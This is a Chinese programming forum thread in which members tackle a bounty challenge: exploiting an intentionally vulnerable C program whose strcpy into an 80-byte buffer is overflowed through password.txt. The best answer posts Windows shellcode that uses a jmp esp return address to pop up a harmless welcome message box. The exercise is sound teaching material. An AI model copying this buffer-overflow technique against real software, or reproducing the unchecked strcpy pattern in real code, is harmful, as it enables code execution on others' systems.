鱼C论坛

 找回密码
 立即注册
查看: 13294|回复: 130

悬赏一百鱼币,大家一起学习C语言溢出漏洞的利用,有木有?!

  [复制链接]
发表于 2012-8-8 22:15:11 | 显示全部楼层 |阅读模式
100鱼币
溢出后如下图:

1.JPG


含有溢出漏洞的C代码:
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <windows.h>

  4. #define PASSWORD "I_love_www.fishc.com"

  5. int check_password( char *password )
  6. {
  7.         int flag;
  8.         char buffer[80];

  9.         flag = strcmp( password, PASSWORD );
  10.         strcpy( buffer, password );

  11.         return flag;
  12. }

  13. int main()
  14. {
  15.         int flag = 0;
  16.         char password[1024];
  17.         FILE *fp;

  18.         LoadLibrary("user32.dll");

  19.         if( !(fp = fopen("password.txt", "rw+")) )
  20.         {
  21.                 printf("Can not open password.txt!\n");
  22.                 return 0;
  23.         }
  24.         
  25.         fscanf( fp, "%s", password );
  26.         flag = check_password( password );

  27.         if( flag )
  28.         {
  29.                 printf("Incorrect password!\n");
  30.         }
  31.         else
  32.         {
  33.                 printf("Congratulation!\n");
  34.         }

  35.         fclose(fp);

  36.         return 0;
  37. }
复制代码

要求:编辑password.txt文件,运行程序,实现截图界面!
游客,如果您要查看本帖隐藏内容请回复



最佳答案

小甲鱼最新课程 -> https://ilovefishc.com
发表于 2012-8-8 22:15:12 | 显示全部楼层
本帖最后由 五月跳回家 于 2012-8-9 11:24 编辑

shellcode
  1. "\x66\x69\x73\x68"//前面填充80个字节栈
  2. "\x12\x45\xfa\x7f"//jmp esp(原eip)
  3. "\x33\xDB\x53"//xor ebx,ebx
  4. "\x68\x63\x6F\x6D\x21"//push    216D6F63
  5. "\x68\x73\x68\x63\x2E"//push    2E636873
  6. "\x68\x6F\x5F\x66\x69"//push    69665F6F
  7. "\x68\x6D\x65\x5F\x74"//push    745F656D
  8. "\x68\x65\x6C\x63\x6F"//push    6F636C65
  9. "\x68\x5E\x5F\x5E\x77"//push    775E5F5E;   ascii ^_^welcome_to_fishc.com!
  10. "\x8B\xC4"//mov     eax, esp
  11. "\x53"//push    ebx
  12. "\x50"//push    eax
  13. "\x50"//push    eax
  14. "\x53"//push    ebx
  15. "\xB8\x11\xEA\x34\x75"//mov eax,0x7534EA11 ;   我电脑上MessageBoxA的地址
  16. "\xFF\xD0"//call eax
  17. "\x53"//push        ebx
  18. "\xB8\xFA\xCA\x81\x7C"//mov     eax, 7C81CAFA
  19. "\xFF\xD0";//call eax;      exit(0)
复制代码

fishc.jpg

password.rar

185 Bytes, 下载次数: 71

password.txt

小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:20:22 | 显示全部楼层
诱惑 挺大的坐等大牛现身!
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:24:24 | 显示全部楼层
终于有动力学习啦
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:25:42 | 显示全部楼层
坐等大牛来~~~小甲鱼什么时候可以把delphi的教程搬过去呢,期待
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:26:50 | 显示全部楼层
最近在看甲鱼哥的汇编,c语言搞到链表吧,文件操作略有接触,对溢出目前茫然。。。
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:29:42 | 显示全部楼层
先留个名,嘿嘿:lol
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:31:41 | 显示全部楼层
不是原来另加300鱼币的吗,怎么改了
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:31:47 | 显示全部楼层
刚刚还没隐贴的啊
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:34:48 | 显示全部楼层
这么好玩啊 看看{:1_1:}{:1_1:}
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:35:17 | 显示全部楼层
{:2_36:}留个名吧。c不熟
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:37:37 | 显示全部楼层
有意思一定要顶起啊!
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:42:57 | 显示全部楼层
表示不懂。。。。。。
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:44:07 | 显示全部楼层
老师已经把程序写出来了。
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2012-8-8 22:49:07 | 显示全部楼层
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2012-8-8 22:49:51 | 显示全部楼层
小淘 发表于 2012-8-8 22:44
老师已经把程序写出来了。

要求编辑读取的password.txt利用程序的溢出漏洞加入规定的内容~
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:51:42 | 显示全部楼层
还没有接触者东西呢
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:53:21 | 显示全部楼层
嗯?。。。
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:55:00 | 显示全部楼层
看看,说不定咱也能拿到手呢
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 23:01:29 | 显示全部楼层
小甲鱼 发表于 2012-8-8 22:49
算算难度好像没那么大,所以改200鱼币~

我感觉挺难的,好像涉及到汇编知识,什么堆栈之类的啦
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-6-10 05:03

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表